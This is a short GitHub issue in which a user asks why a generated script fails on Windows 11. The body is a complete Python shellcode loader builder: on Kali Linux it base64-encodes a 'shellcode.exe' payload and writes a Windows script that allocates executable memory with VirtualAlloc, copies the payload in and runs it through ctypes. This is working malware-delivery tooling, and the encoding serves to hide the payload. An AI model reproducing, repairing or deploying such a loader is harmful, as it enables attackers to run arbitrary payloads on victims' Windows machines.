Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

i need know why and how to do🥹 #637

Open
blodmoning opened this issue Oct 5, 2024 · 0 comments
Open

i need know why and how to do🥹 #637

blodmoning opened this issue Oct 5, 2024 · 0 comments

Comments

@blodmoning
Copy link

Image_1728134302277

The code running in Kali linux

windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()

import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')

with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes

decoded_shellcode = base64.b64decode("{encoded_shellcode}")

kernel32 = ctypes.windll.kernel32

shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)

if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")

ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))

shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant